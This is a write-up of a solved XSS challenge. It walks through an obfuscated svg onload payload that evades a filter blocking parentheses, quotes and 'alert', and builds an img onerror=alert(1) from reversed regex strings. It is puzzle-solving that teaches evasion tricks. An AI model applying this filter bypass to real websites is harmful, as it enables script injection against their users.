Adam Baldwin and I figured out a super long solution to rafay.prakharprasad.com. Here's the deets.
We can get javascript execution with http://rafay.prakharprasad.com/?search=%3Csvg/onload=foo//
(check the console, you'll see foo is not defined
.
So that's a start, but we want to get to alert(1);
We can't put http://rafay.prakharprasad.com/?search=%3Csvg/onload=alert(1)//
because parentheses are blocked, as is alert
.
So how did we get there, with the ridiculous thing above?
Well, what we actually end up executing is:
window.document.body.innerHTML = "<img src=a onerror=alert(1)>"
This is the javascript payload of the full vector that gets executed by the <svg/onload
z=[]%2batob;l=z[13];r=z[14];s=z[8];a=[]%2b/tnemucod/;a=a[8]%2ba[7]%2ba[6]%2ba[5]%2ba[4]%2ba[3]%2ba[2]%2ba[1];b=[]%2b/LMTHrenni/;b=b[9]%2bb[8]%2bb[7]%2bb[6]%2bb[5]%2bb[4]%2bb[3]%2bb[2]%2bb[1];c=[]%2b/Fa=crsFgmi%3C/;c=c[11]%2bc[10]%2bc[9]%2bc[8]%2bs%2bc[6]%2bc[5]%2bc[4]%2bc[3]%2bc[2]%2bs;d=[]%2b/X1Ztrela=rorreno/;d=d[16]%2bd[15]%2bd[14]%2bd[13]%2bd[12]%2bd[11]%2bd[10]%2bd[9]%2bd[8]%2bd[7]%2bd[6]%2bd[5]%2bd[4]%2bl%2bd[2]%2br;window[a].body[b]=c%2bd%2bwindow[a].body[b][8]//
Let's put some new lines in to make it clearer.
z=[]%2batob;
l=z[13];
r=z[14];
s=z[8];
a=[]%2b/tnemucod/;
a=a[8]%2ba[7]%2ba[6]%2ba[5]%2ba[4]%2ba[3]%2ba[2]%2ba[1];
b=[]%2b/LMTHrenni/;
b=b[9]%2bb[8]%2bb[7]%2bb[6]%2bb[5]%2bb[4]%2bb[3]%2bb[2]%2bb[1];
c=[]%2b/Fa=crsFgmi%3C/;
c=c[11]%2bc[10]%2bc[9]%2bc[8]%2bs%2bc[6]%2bc[5]%2bc[4]%2bc[3]%2bc[2]%2bs;
d=[]%2b/X1Ztrela=rorreno/;
d=d[16]%2bd[15]%2bd[14]%2bd[13]%2bd[12]%2bd[11]%2bd[10]%2bd[9]%2bd[8]%2bd[7]%2bd[6]%2bd[5]%2bd[4]%2bl%2bd[2]%2br;
window[a].body[b]=c%2bd%2bwindow[a].body[b][8]//
All of those %2b
things are actually +
, so let's replace those.
z=[]+atob;
l=z[13];
r=z[14];
s=z[8];
a=[]+/tnemucod/;
a=a[8]+a[7]+a[6]+a[5]+a[4]+a[3]+a[2]+a[1];
b=[]+/LMTHrenni/;
b=b[9]+b[8]+b[7]+b[6]+b[5]+b[4]+b[3]+b[2]+b[1];
c=[]+/Fa=crsFgmi%3C/;
c=c[11]+c[10]+c[9]+c[8]+s+c[6]+c[5]+c[4]+c[3]+c[2]+s;
d=[]+/X1Ztrela=rorreno/;
d=d[16]+d[15]+d[14]+d[13]+d[12]+d[11]+d[10]+d[9]+d[8]+d[7]+d[6]+d[5]+d[4]+l+d[2]+r;
window[a].body[b]=c+d+window[a].body[b][8]
That's looking a little clearer. So let's take it step by step:
// [] + atob calls toString on the function definition of atob
z=[]+atob; //z = "function atob() { [native code] }"
l=z[13]; // l = 14th char of z, = "(", we have a left-paren!
r=z[14]; // r = 14th char of z, = "(", we have a right-paren!
s=z[8]; // s = 9th char of z, = " ", we have a space char!
//We need a string "document", We can't write "document", because we can't use the string document, nor can we use quotes, so...
// [] + /regex/ -> "/regex/"
a=[]+/tnemucod/; // a is now "/tnemucod/"
a=a[8]+a[7]+a[6]+a[5]+a[4]+a[3]+a[2]+a[1]; // strip the leading and trailing slashes, and reverse, a = "document"
// Do the same for b = "innerHTML"
b=[]+/LMTHrenni/;
b=b[9]+b[8]+b[7]+b[6]+b[5]+b[4]+b[3]+b[2]+b[1];
// Here we want c = "<img src=a "
// I just threw random separators, in to make the string the right length, so F is in place of " " here, because I can't use " " in the regex or it gets removed.
c=[]+/Fa=crsFgmi%3C/;
// When reconstructing, use our previously saved s, which is a space where I need spaces.
c=c[11]+c[10]+c[9]+c[8]+s+c[6]+c[5]+c[4]+c[3]+c[2]+s;
//Here we want d = "onerror=alert(1)"
//Again, X and Z are just placeholders for ( and )
d=[]+/X1Ztrela=rorreno/;
//use l and r variables, which have parens, instead of the X and Z placeholders
d=d[16]+d[15]+d[14]+d[13]+d[12]+d[11]+d[10]+d[9]+d[8]+d[7]+d[6]+d[5]+d[4]+l+d[2]+r;
//Put it all together!
//At this point:
a="document";
b="innerHTML";
c="<img src=a ";
d="onerror=alert(1)";
//I got this far and then realised I needed a closing ">" which I can't type either, so grab it from the current body with (window.document.body.innerHTML[8])
//window.document.body.innerHTML=<img src=a onerror=alert(1)>//
window[a].body[b]=c+d+window[a].body[b][8]//
I totally didn't write that all by hand, I scripted it.
NB: Turns out we could have just used .source on regexes, which converts them to strings. Yay learning.